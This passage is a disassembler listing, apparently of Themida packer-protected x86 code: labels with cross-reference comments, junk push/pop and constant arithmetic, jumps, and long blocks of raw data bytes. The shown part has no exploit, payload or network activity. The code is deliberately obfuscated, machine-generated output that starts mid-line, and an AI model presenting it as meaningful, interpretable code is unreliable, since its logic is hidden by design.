5Bh, 0E95EF729h dd 0FFFF8A28h, 0C581E589h, 4, 8704ED83h, 895C242Ch, 2EE9241Ch db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F563: ; CODE XREF: Themida_:00515395j pop ecx push esi mov esi, 53A73F7Dh sub ecx, 5C187B39h add ecx, esi jmp loc_516CAF ; --------------------------------------------------------------------------- db 0ADh dd 207F83h, 0E60F840Fh, 7F68FFFFh, 8900003Dh, 95BF243Ch dd 0E91A1349h, 0FFFEE3D5h, 83242C8Bh, 0AFE904C4h, 81FFFF4Ch dd 3E16BEC3h, 4EC81D2h, 0E9000000h, 0FFFF2210h, 8105E5C1h dd 78C5ACEDh, 75ED8102h, 0E99C8780h, 0FFFF14D2h ; --------------------------------------------------------------------------- loc_51F5C4: ; CODE XREF: Themida_:0051F90Aj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp or eax, eax jz loc_50FF46 push 5DA0h mov [esp], eax push 1Ch push dword ptr [esp] mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push edi mov edi, esp push esi jmp loc_51BBAA ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFECCDEh, 3C8BF829h, 4C48324h, 0FB490B05h, 0E68DE97Eh dd 5D59FFFFh, 0FF7B41E9h, 7EB735FFh, 0C6017FF6h, 582434FFh dd 8304C483h, 0A2E902C6h, 8BFFFFD3h, 0C8842424h, 0BF9BE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51F64A: ; CODE XREF: Themida_:00518FD2j mov ecx, 50C33734h shr ecx, 6 push ebx mov ebx, 7B354A9Ah sub ebx, 2C142345h push edi mov edi, 4770297Dh jmp loc_516531 ; --------------------------------------------------------------------------- db 1, 0EBh, 5Dh dd 5F2434FFh, 0FEC3F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_51F675: ; CODE XREF: Themida_:0051DD59j sub [esp+8], esi jmp loc_510EDB ; --------------------------------------------------------------------------- dw 815Bh dd 585626EBh, 81EB2925h, 585626C3h, 31E95D25h, 0F7FFFF62h dd 0F4E581D5h, 0F707254Ch, 0DBED81D5h, 0E9FDDFF3h, 0FFFFC651h dd 8E7FC935h, 2C333564h, 912D176Fh, 1508C60h, 0E9E958C3h dd 0FF000009h, 669D1C77h, 2414D359h, 0BF17E99Ch, 0C581FFFEh dd 321E1392h, 67F2B951h, 0E1C114F8h, 0DF18106h, 0E96CC082h dd 0FFFFBEBAh, 4C72B850h, 0C729B40Ch, 5FFB8958h, 29D1F381h dd 91E96B74h, 89FFFF82h, 50E9240Ch db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F707: ; CODE XREF: Themida_:0050EF70j pop eax add esp, 4 and eax, esi pop esi shr eax, 8 xor eax, ecx push 3521h mov [esp], edx push 60Ch mov [esp], esp jmp loc_51B199 ; --------------------------------------------------------------------------- dd 4335D59h, 0C04BE924h, 0C481FFFFh, 4, 4246C81h, 679E0156h dd 0FFC3ABE9h, 0ED8166FFh, 1CE9125Bh, 81FFFFC7h, 6135BEEAh dd 0D0015B15h, 6084E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F75E: ; CODE XREF: Themida_:0051B69Ej mov ebx, 177E12CCh add ecx, ebx pop ebx push 3C90h jmp loc_51EB2A ; --------------------------------------------------------------------------- dd 8B24048Fh, 0F662424h, 9C2404ABh, 0FF5FF7E9h, 2434FFFFh dd 582D6858h, 3C890000h, 0E9E78924h, 7D3h, 8B240C33h, 0B8502424h dd 3B493F8Fh, 4244429h, 24042958h, 42ACE957h, 0B468FFFFh dd 89000055h, 4BD242Ch, 1000000h, 0C875DE9h, 0D9895C24h dd 0F840E95Bh, 0F74AFFFFh, 0F28142D2h, 0CD2E14D6h, 148BD331h dd 4C48324h, 0FF30E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_51F7E1: ; CODE XREF: Themida_:0050FA05j xor ecx, 60AC44CEh sub esp, 4 mov [esp], esi push eax mov eax, 0EAE43ABh jmp loc_5174D2 ; --------------------------------------------------------------------------- dd offset dword_565F68 dd 24348900h, 60516853h, 3DE912CFh db 0Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F80B: ; CODE XREF: Themida_:00520105j xor esi, [esp] mov esp, [esp] mov [esp], ecx pop dword ptr [eax] jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 0BBh dd 193F1CF5h, 8B5BDD29h, 0E0E9241Ch, 87000005h, 8F5C240Ch dd 248B2404h, 2434FF24h, 13B685Ah, 2C890000h, 2C8B5424h dd 4C48124h, 81000000h, 4C5h, 4CE95000h db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F857: ; CODE XREF: Themida_:0050EC79j push 7A76h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], eax push ebp push ecx mov ecx, 699311CFh mov ebp, ecx pop ecx jmp loc_51E00F ; --------------------------------------------------------------------------- loc_51F87C: ; CODE XREF: Themida_:0051DF38j xor ebx, 16F30C4Bh mov ebp, ebx pop ebx jmp loc_519BA3 ; --------------------------------------------------------------------------- dd offset loc_422E67+1 dw 8100h dd 4ECh, 24248900h, 4BD55h, 0B3E90000h, 81FFFECCh, 4C4h dd 0E2895200h, 4C281h, 0EA830000h, 24148704h, 0FF5B29E9h dd 66595BFFh, 83240C8Bh, 895202C4h, 4BF57E2h, 1000000h dd 0EA835FFAh, 24148702h, 1C89665Ch, 44BB6624h, 47706842h dd 4890000h, 46FEE924h, 6C29FFFFh, 9E90C24h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F8F7: ; CODE XREF: Themida_:0050CA2Aj mov cl, 0Dh add cl, 0AAh add cl, bl jmp loc_51954E ; --------------------------------------------------------------------------- loc_51F903: ; CODE XREF: Themida_:00510E05j add esi, 4 push esi jmp loc_51F5C4 ; --------------------------------------------------------------------------- db 89h dd 5B54241Ch, 8904EC83h, 4BF243Ch, 81000000h, 0D87060C3h dd 9E23E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F92A: ; CODE XREF: Themida_:005206D2j mov [esp], edx mov edx, 542D07E4h neg edx jmp loc_50FD68 ; --------------------------------------------------------------------------- loc_51F939: ; CODE XREF: Themida_:00513E66j xor eax, [esp] jmp loc_521098 ; --------------------------------------------------------------------------- loc_51F941: ; CODE XREF: Themida_:005164BCj pop edi add [esp+8], ebx pop ebx add dword ptr [esp+4], 76E229A8h jmp loc_50E2F4 ; --------------------------------------------------------------------------- dd 0D33E951h, 0CE81FFFFh, 57F44821h, 37F5F681h, 0E6C17669h dd 1DFE908h, 0B850FFFFh, 4, 0FEE449E9h db 0FFh ; --------------------------------------------------------------------------- loc_51F979: ; CODE XREF: Themida_:00520D75j add ebx, edx push edi jmp loc_50E066 ; --------------------------------------------------------------------------- loc_51F981: ; CODE XREF: Themida_:005210C5j sub ebx, 63A5320h jmp loc_50D08C ; --------------------------------------------------------------------------- dd 4261C381h, 0C381666Eh, 2493758Dh, 4C3815Ah, 0E9000000h dd 0FFFFDF2Fh, 98C2815Eh, 6870690Ch, 56ADh, 0B9240C89h dd 0 dd 0CA87D129h, 8B2434FFh, 5452240Ch, 4C2815Ah, 83000000h dd 148704C2h, 0C0E95C24h, 81FFFF20h, 4C3h, 4C38300h, 5C241C87h dd 8124048Bh, 4C4h, 24143300h, 33241431h, 248B2414h, 4EC8124h dd 89000000h, 0CDE92434h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FA07: ; CODE XREF: Themida_:0051C8B5j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_520359 ; --------------------------------------------------------------------------- db 0BFh dd 221D6BE7h, 926E9h, 4C58100h, 81000000h, 4C5h, 242C8700h dd 5524248Bh, 0FF482BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51FA3D: ; CODE XREF: Themida_:0051DC2Cj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx push eax push 7B5Ch jmp loc_510DDB ; --------------------------------------------------------------------------- db 51h dd 0A23428B9h, 0B5C18132h, 8152620Ah, 0EC76F3E9h, 77F18137h dd 2118F0D7h, 0EE8159CEh, 2341ED0Ch, 348BF701h, 4C48324h dd 5257525Dh, 810F7CBAh, 5AD78915h, 0E71852BAh, 5FFA0139h dd 7FC1C281h, 29E9697Fh, 0E9FFFF1Fh, 0FFFEBB3Dh, 8B240C87h dd 34892424h, 50E68924h, 0FFC477E9h, 241C89FFh, 0C381E389h dd 4, 5304EB83h, 42474FFh, 24048F5Bh, 0E20CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FAD6: ; CODE XREF: Themida_:00517497j push eax mov eax, 15D77ECBh add eax, 6629363Fh jmp loc_51A716 ; --------------------------------------------------------------------------- dw 8B66h dd 6B682404h, 89000003h, 0E954241Ch, 0FFFF9A15h ; --------------------------------------------------------------------------- loc_51FAF8: ; CODE XREF: Themida_:0051A1A5j push dword ptr [esp] jmp loc_51E541 ; --------------------------------------------------------------------------- dd 7620E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FB06: ; CODE XREF: Themida_:0051372Ej pop ebp xchg edx, [esp] jmp loc_520501 ; --------------------------------------------------------------------------- db 0B5h dd 99CDE9DAh, 0C701FFFFh, 582434FFh, 4C481h, 53500000h dd 0F769E955h, 4A5EFFFFh, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 0DEE92434h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FB47: ; CODE XREF: Themida_:0050E348j mov [esp], edi push ebx push ebp push 3D1B452Ah jmp loc_51AB3C ; --------------------------------------------------------------------------- dw 8853h dd 5BFC88EFh, 0E9DD88h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FB63: ; CODE XREF: Themida_:0051E4D2j mov [esp], esi jmp loc_519DAB ; --------------------------------------------------------------------------- db 2Dh dd 5E5568F2h, 0F205F029h, 5E5E5568h, 5E51ED05h, 81D8012Bh dd 4ECh, 24148900h, 6B689DBAh, 0DA874A6Ch, 0FF3FF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_51FB95: ; CODE XREF: Themida_:00514D03j pop edx mov esi, [esp] add esp, 4 push ebp mov ebp, 15E536F8h jmp loc_520F11 ; --------------------------------------------------------------------------- dw 0AEB5h dd 88EB8853h, 80595BDCh, 0EF803EECh, 0E1F1E9E5h, 5854FFFEh dd 58F6E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FBC6: ; CODE XREF: Themida_:00513340j push edi push ebx jmp loc_51BA10 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F6000000h, 80D6F6DEh, 0F1307CEEh, 24148B66h, 2C481h dd 46E90000h db 0C6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51FBEB: ; CODE XREF: Themida_:0051EFBAj sub dword ptr [esp+4], 6DF1790h add dword ptr [esp+4], 5B0653B0h add [esp+4], edx sub dword ptr [esp+4], 5B0653B0h add dword ptr [esp+4], 6DF1790h push ebx push edi mov edi, 477233ADh push esi push 37272CBBh pop esi or esi, 7CA66A74h jmp loc_51F09D ; --------------------------------------------------------------------------- loc_51FC28: ; CODE XREF: Themida_:0051F2B7j push 285Ah mov [esp], ebx push ebp jmp loc_518ECC ; --------------------------------------------------------------------------- loc_51FC36: ; CODE XREF: Themida_:0050F796j push ebx mov ebx, 6DF53E45h and ebx, 1A4042F7h not ebx shl ebx, 5 dec ebx sub ebx, 45823ED4h add ebx, 0BE53E799h mov esi, ebx pop ebx add ecx, esi jmp loc_51BEE4 ; --------------------------------------------------------------------------- dw 0C381h dd 5763669h, 0FECD3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_51FC69: ; CODE XREF: Themida_:0050CF93j mov edi, eax pop eax add ecx, 1EE0403Ch add ecx, 4E3A0E19h add ecx, edi sub ecx, 4E3A0E19h sub ecx, 1EE0403Ch pop edi add ecx, 4 jmp loc_50B8E9 ; --------------------------------------------------------------------------- dw 68h dd 0FF000000h, 34FF2434h, 0C4835B24h, 1E95704h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FCA7: ; CODE XREF: Themida_:00512934j pop edi add ebp, 4 jmp loc_513C25 ; --------------------------------------------------------------------------- loc_51FCB3: ; CODE XREF: Themida_:00510901j add esp, 4 push esi jmp loc_5171FD ; --------------------------------------------------------------------------- loc_51FCBF: ; CODE XREF: Themida_:00514225j xchg ebp, [esp] jmp loc_51CDCD ; --------------------------------------------------------------------------- db 81h dd 0E44ECAC7h, 0F6C78167h, 149E094h, 53E1E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FCDA: ; CODE XREF: Themida_:0050E303j mov [esp], edx mov edx, 695A5BF3h jmp loc_51EB57 ; --------------------------------------------------------------------------- db 88h dd 0D5F658E5h, 5966EF88h, 0FFBED7E9h, 0C8B66FFh, 0E1895124h dd 7B9C68h, 24048900h, 1F0963B8h, 7BBB5366h, 8135DE60h dd 0ED3F47CBh, 0C479E96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FD1A: ; CODE XREF: Themida_:0050CC1Bj add esi, ecx sub esi, 4A5D7469h jmp loc_51B65B ; --------------------------------------------------------------------------- db 0D1h dd 0DCBF57E6h, 81169220h, 0CF010BEFh, 0C7814700h, 3284222Dh dd 815FFE29h, 0C6A1B4F6h, 8BF389BEh, 0C4812434h, 4, 0F381D3F7h dd 0D97C948Bh, 0FF67BFE9h, 0B8505FFFh, 24811ACAh, 0EF7B1D05h dd 0AF054031h, 105FE89h, 24048BC3h, 4C481h, 0CB010000h dd 0FFC539E9h, 0E68956FFh, 4C681h, 70E90000h, 8BFFFF48h dd 0C481242Ch, 4, 0ECC8E955h, 3DBBFFFEh, 0E91C2B16h, 0FFFFC8A5h dd 18EF8147h, 29C775B7h, 0FA015FFAh, 28B4C281h, 3C8B6FFAh dd 4C48324h, 0E9241433h, 0FFFF572Ah, 56243C89h, 0A61B1EBEh dd 5EF78927h, 0E95FF929h, 0FFFF609Ah, 81FD015Eh, 3F1DAEEDh dd 0E5C15F4Fh, 6806h, 2C810000h, 9167B524h, 242C294Eh dd 0B5240481h, 5D4E9167h, 0FFD749E9h, 90E95EFFh, 81FFFF32h dd 4ECh, 4771E900h, 2B68FFFFh, 89000028h, 0E168241Ch, 0E900007Ch dd 0FFFEBBCEh, 4E981h, 0C870000h, 8F545C24h, 4832404h dd 815D0424h, 4C5h, 4C58100h, 0E9000000h, 0FFFF26A2h, 7F2646BBh dd 0CAAAE953h, 0E952FFFFh, 0FFFF4902h, 4741AE2Dh, 5046E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FE66: ; CODE XREF: Themida_:0051B01Dj push esp pop ebx jmp loc_51A31C ; --------------------------------------------------------------------------- db 68h, 0BDh, 25h dd 0A1E90000h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FE77: ; CODE XREF: Themida_:00515526j push ebx jmp loc_51F171 ; --------------------------------------------------------------------------- db 0BFh, 0D7h, 3Ah dd 0BD55414Fh, 781C3FC7h, 0EC47E950h, 3C33FFFEh, 0B4AE924h dd 2C89FFFFh, 83E58924h, 148904ECh, 4BA24h, 0D5010000h dd 0E924148Bh, 0FFFFEB69h, 0A7E9E089h db 19h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FEB7: ; CODE XREF: Themida_:00515446j shl ebp, 6 jmp loc_520226 ; --------------------------------------------------------------------------- db 88h dd 907DE9C8h, 0FE31FFFFh, 85CE815Fh, 0C1578555h, 0F68105EEh dd 0FC59C461h, 0B3E9F229h, 20FFFFD9h, 9FE95AF1h, 57FFFFA4h dd 0E02FA2BFh, 9CD3E979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51FEF2: ; CODE XREF: Themida_:00510730j push ecx mov ecx, 4 jmp loc_513E84 ; --------------------------------------------------------------------------- db 81h, 0CEh, 0ABh dd 0E9613519h, 0FFFF9D36h, 56241C89h, 537EB4BEh, 9CE94E1Dh db 0C9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51FF17: ; CODE XREF: Themida_:0050C271j sub esp, 4 mov [esp], ecx mov ch, al jmp loc_51F3BE ; --------------------------------------------------------------------------- db 68h dd 3ABEh, 0E9243C89h, 0FFFF79CAh ; --------------------------------------------------------------------------- loc_51FF34: ; CODE XREF: Themida_:00512EB3j add esi, 4 push ebp mov ebp, 74F341E4h xor ebp, 74F341E0h add esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_51238F ; --------------------------------------------------------------------------- db 50h dd 4EC81h, 3C890000h, 94C3E924h, 0D368FFFFh, 0E9000038h dd 0FFFED341h, 36BA5246h, 0E90546D0h, 0FFFF5555h, 4B9h dd 244C0100h, 148B5904h, 4C48324h, 4EC81h, 96E90000h, 81FFFEC7h dd 0B2026EC7h, 7BF7814Fh, 0E94C7866h, 0FFFF4C07h ; --------------------------------------------------------------------------- loc_51FFB8: ; CODE XREF: Themida_:0051E8A0j not ebp push edi jmp loc_5102BB ; --------------------------------------------------------------------------- loc_51FFC0: ; CODE XREF: Themida_:0051F47Bj add ebp, 4 add ebp, 4 jmp loc_51CA2A ; --------------------------------------------------------------------------- loc_51FFD1: ; CODE XREF: Themida_:00518D27j xor eax, 64B82148h push eax jmp loc_51C68A ; --------------------------------------------------------------------------- loc_51FFDC: ; CODE XREF: Themida_:00511E87j add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_50FEC1 ; --------------------------------------------------------------------------- loc_51FFEC: ; CODE XREF: Themida_:00513FA8j sub esp, 4 mov [esp], ecx mov ecx, 3D27012Fh add ecx, 0FFFFFFFFh inc ecx add ecx, 1 sub ecx, 3D27012Ch jmp loc_51C655 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4C3h, 241C8700h, 0FF51F9E9h, 240C87FFh, 0FF8121E9h dd 0A1BE56FFh, 817E9325h, 5B25C6E6h, 0FA25E94Ch, 0C281FFFFh dd 6C7F1BA8h, 3E21B951h, 0CA313A7Bh db 59h byte_520045 db 0E9h, 83h, 20h ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52004A: ; CODE XREF: Themida_:0050EC03j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_50CA35 ; --------------------------------------------------------------------------- dd 57240C89h, 8924E4BFh, 0E29EE90Bh, 0F757FFFEh, 0F75F2414h dd 20E951DFh, 89FFFF7Dh, 6ABB241Ch, 814D7579h, 0DD40BAF3h dd 1C38362h, 8104E3C1h, 931E6C3h, 3E3C179h, 8854BE56h dd 0F3016399h, 0C9C6815Eh, 0E946C172h, 0FFFEDB0Dh, 0E95BDD31h dd 0FFFFB84Eh, 9D1C77FFh, 24041958h, 0B527E99Ch, 0EC81FFFEh dd 4, 0A02E9h, 10056800h, 4890000h, 267FB824h, 254864FCh dd 7F784012h, 0FEE31BE9h, 240C89FFh, 67B768h, 7AE5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5200EE: ; CODE XREF: Themida_:00512921j and edx, ebx jmp loc_5113E3 ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 0AA5FF4C7h, 227BE963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520102: ; CODE XREF: Themida_:005194C9j xor [esp], esi jmp loc_51F80B ; --------------------------------------------------------------------------- loc_52010A: ; CODE XREF: Themida_:005206B9j not ecx push ebx jmp loc_51253F ; --------------------------------------------------------------------------- loc_520112: ; CODE XREF: Themida_:0051BA14j push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_50F9EF ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 0E904245Ch, 0FFFF85B3h, 5C24048Fh, 3C8BF801h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 0CA0685Ch dd 2C890000h, 11A8BD24h, 0BF5737E2h, 716D32CCh, 1BE9FD09h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_520173: ; CODE XREF: Themida_:0050F450j jmp loc_50B5E5 ; --------------------------------------------------------------------------- dd 642368h, 181FE900h, 0E689FFFFh, 12FC68h, 9221E900h dd 0FE59FFFFh, 4EC81C6h, 89000000h, 0A0E9240Ch, 81FFFEF3h dd 5738DCDh, 6EDC17Bh, 8AB3E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5201AE: ; CODE XREF: Themida_:005148DCj mov ecx, 4FF724A4h sub edi, ecx pop ecx add edi, ebp add edi, 4FF724A4h jmp loc_51D889 ; --------------------------------------------------------------------------- loc_5201C3: ; CODE XREF: Themida_:0050EF68j mov esp, [esp] mov [esp], edi mov edi, 4 add ebx, edi mov edi, [esp] push ecx mov ecx, esp push edi mov edi, 66D35B49h neg edi and edi, 6B850EBEh and edi, 58D47FCDh add edi, 0F7FBFB80h sub ecx, 5EF71439h add ecx, edi add ecx, 5EF71439h pop edi add ecx, 4 jmp loc_50F68F ; --------------------------------------------------------------------------- dw 0C483h dd 24448104h, 0B26FA704h, 244C0143h, 0ECDAE904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_52021E: ; CODE XREF: Themida_:00516FBFj sub dl, 8Bh jmp loc_5182D9 ; --------------------------------------------------------------------------- loc_520226: ; CODE XREF: Themida_:0051FEBAj push ebp not dword ptr [esp] pop ebp push esi jmp loc_51EB9B ; --------------------------------------------------------------------------- db 29h, 0DAh, 0E9h dd 0FFFF539Ah, 5BDD3158h, 0FF441FE9h db 0FFh ; --------------------------------------------------------------------------- loc_520241: ; CODE XREF: Themida_:0051A788j add ebx, eax push 3CB7h mov [esp], esi push ebp jmp loc_5120FC ; --------------------------------------------------------------------------- db 31h, 2Ch, 24h dd 5C242C33h, 9C242CD3h, 0FEB384E9h, 81C229FFh, 2D0618C2h dd 1487585Eh, 24248B24h, 240C8966h, 0FEB36CE9h, 242C87FFh dd 8924248Bh, 89512404h, 4C181E1h, 83000000h, 0C8704E9h dd 24895C24h, 178D6824h, 0CAE90000h, 55000003h, 4BDh, 5DEF0100h dd 2B951h, 0EF810000h, 494137C0h, 9168CF01h, 0E9000056h dd 0FFFF5618h ; --------------------------------------------------------------------------- loc_5202C0: ; CODE XREF: Themida_:00513D69j pop ebp dec esi xor esi, 7A173BA5h add esi, 783490EDh sub edx, esi pop esi push 68h mov [esp], ebp push eax mov eax, 111E65A2h push eax xor dword ptr [esp], 41AA3BDFh pop ebp jmp loc_50F3D5 ; --------------------------------------------------------------------------- loc_5202ED: ; CODE XREF: Themida_:0051D3C2j pop esp mov [esp], edx push esp mov edx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 jmp loc_514327 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 401665Ch, 0CAE99C24h, 89FFFEB2h, 74FF242Ch, 8F5D0424h dd 248B2404h, 68F9F724h, 3FC2h, 0FF0E6CE9h db 0FFh ; --------------------------------------------------------------------------- loc_520335: ; CODE XREF: Themida_:0051AF53j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_51BD1E ; --------------------------------------------------------------------------- db 29h dd 0F5815FFDh, 67EE11DFh, 0FF1C2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_520359: ; CODE XREF: Themida_:0051FA16j pop esp push 4169h mov [esp], esi sub esp, 4 mov [esp], eax mov eax, 21816DF3h push ecx jmp loc_513A08 ; --------------------------------------------------------------------------- db 0C0h dd 0B50407E8h, 0E958C688h, 0FFFF4084h ; --------------------------------------------------------------------------- loc_520380: ; CODE XREF: Themida_:00512F70j xor edx, edi push dword ptr [esp] jmp loc_51F512 ; --------------------------------------------------------------------------- dw 0EE80h dd 8BF300B2h, 0C4832414h, 80CBFE04h, 0C38020CBh, 0D1C3800Dh dd 0DDE9DE30h db 0F6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5203A7: ; CODE XREF: Themida_:0051254Fj push ecx push 29B6CA1h pop ecx xor ecx, 797357C5h add ecx, 2AE543Eh jmp loc_518A55 ; --------------------------------------------------------------------------- loc_5203BF: ; CODE XREF: Themida_:005147CFj pop dword ptr [edi+20h] jmp loc_50C323 ; --------------------------------------------------------------------------- db 0Dh dd 363506D3h, 776CBD55h, 0DDF758E8h, 57AAED81h, 0E8319821h dd 12E9405Dh, 5FFFFF54h, 0D2DD0F7h, 0E959831Dh, 0FFFFBBB4h ; --------------------------------------------------------------------------- loc_5203F0: ; CODE XREF: Themida_:0051BD13j add ebp, ebx pop ebx push edi jmp loc_513026 ; --------------------------------------------------------------------------- loc_5203F9: ; CODE XREF: Themida_:0051E87Bj mov ch, 0B5h sub ch, 3 jmp loc_5166A6 ; --------------------------------------------------------------------------- db 5Fh dd 607AEF81h, 35E97A8Dh, 0FFFFFF74h, 669D1C77h, 4116658h dd 0C6E99C24h, 5AFFFEB1h, 895DE831h, 0C52958C5h, 8324048Bh dd 0C58104C4h, 3DE2DA6h, 0BE03E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52043A: ; CODE XREF: Themida_:00515C85j neg ebx jmp loc_50EDF8 ; --------------------------------------------------------------------------- loc_520441: ; CODE XREF: Themida_:0050DD42j pop esp jmp loc_50E1CE ; --------------------------------------------------------------------------- db 58h dd 0FFDB6AE9h, 240C89FFh, 0FF912CE9h db 0FFh ; --------------------------------------------------------------------------- loc_520455: ; CODE XREF: Themida_:0051F247j mov esp, [esp] mov [esp], edi push 14C5h mov [esp], ebx jmp loc_5131ED ; --------------------------------------------------------------------------- dd 387468h, 243C8900h, 190D7CBFh, 0C92EE931h, 0C481FFFEh dd 4, 893AB850h, 0C629B4EFh, 8124048Bh, 4C4h, 4ABD5500h dd 4D4D2164h, 3554ED81h, 0B0E904AEh db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_5204A3: ; CODE XREF: Themida_:0050F99Ej add esp, 4 mov eax, [esp] add esp, 4 jmp loc_517066 ; --------------------------------------------------------------------------- dd 3159CB31h, 0B1C9E9D9h, 2C8BFFFEh, 4C48124h, 66000000h dd 66052F2Dh, 8151C801h, 2ECh, 1213E900h, 0B753FFFFh, 2E7C0B4h dd 5166C7FEh, 68E99CB5h, 81FFFF95h, 6A8A00C5h, 4EC8146h dd 89000000h, 5D58242Ch, 0FF94EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_520501: ; CODE XREF: Themida_:0051FB0Aj mov esp, [esp] jmp loc_51932B ; --------------------------------------------------------------------------- db 1, 0DAh, 0E9h dd 0FFFEC13Ch ; --------------------------------------------------------------------------- loc_520510: ; CODE XREF: Themida_:0051F190j mov edi, [esp] add esp, 4 push ecx mov ecx, 68D642A1h not ecx jmp loc_51CA14 ; --------------------------------------------------------------------------- loc_520526: ; CODE XREF: Themida_:0050D052j add edx, edi pop edi mov ecx, edx pop edx and esi, ecx jmp loc_51E1A0 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FEF6800h, 34890000h, 0CDBF5724h, 0BE56E137h dd 0E37187Ch, 575FFE01h, 0FF59EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_520555: ; CODE XREF: Themida_:0050C221j shr edi, 3 jmp loc_5135F1 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 24348B5Ch, 0E904C483h, 0FFFF8C0Fh, 447BDEBAh, 0F5EA8109h dd 0D140D17Dh, 0C9EA81E2h, 8122B964h, 0BEF482F2h, 83EFE922h dd 8B66FFFFh, 5455240Ch, 4C5815Dh, 0E9000000h, 0FFFF061Dh dd 4BB53h, 0DF010000h, 4C7815Bh, 87000000h, 305C243Ch dd 51665AF0h, 4B6668h, 241C8900h, 0FF8D53E9h, 4DFD31FFh dd 1210E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5205CA: ; CODE XREF: Themida_:0051E91Aj mov eax, 1AB83ADDh jmp loc_513C4E ; --------------------------------------------------------------------------- loc_5205D4: ; CODE XREF: Themida_:0051DF50j sub ebp, 4 jmp loc_511A74 ; --------------------------------------------------------------------------- dd 55C7815Bh, 140B360h, 6EB850C7h, 0F708511Eh, 9186E9D8h dd 0C481FFFFh, 4, 0FEB6BFE9h, 240C33FFh, 0E9240C31h, 0B3Eh dd 20EF681h, 0C681188Ah, 0E60DBC66h, 575EF001h, 784500BFh dd 6EFC150h, 3CB0CF81h, 0E8E9627Fh, 51FFFF50h, 4B9h, 17C38100h dd 146C86Ch, 17EB81CBh, 0E946C86Ch, 0FFFF5A7Dh, 0A7D4E94Eh dd 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h, 68240489h dd 475h, 0FEDBF4E9h, 242C89FFh, 0FF3910E9h, 4EC83FFh, 66242C89h dd 0E943CEBDh, 0FFFFBAF0h ; --------------------------------------------------------------------------- loc_520680: ; CODE XREF: Themida_:0050D7E0j push esi mov esi, 65610590h mov edi, 2998676Ah xor edi, esi pop esi sub esp, 4 mov [esp], eax mov eax, 386204F0h sub [esp+8], eax pop eax sub [esp+4], edi add dword ptr [esp+4], 386204F0h pop edi mov ecx, [esp] add esp, 4 push ebx mov ebx, 4224144Ch xchg ecx, ebx jmp loc_52010A ; --------------------------------------------------------------------------- dw 0C681h dd 32C12E0Ch, 6E6C14Eh, 0FFD7F2E9h db 0FFh ; 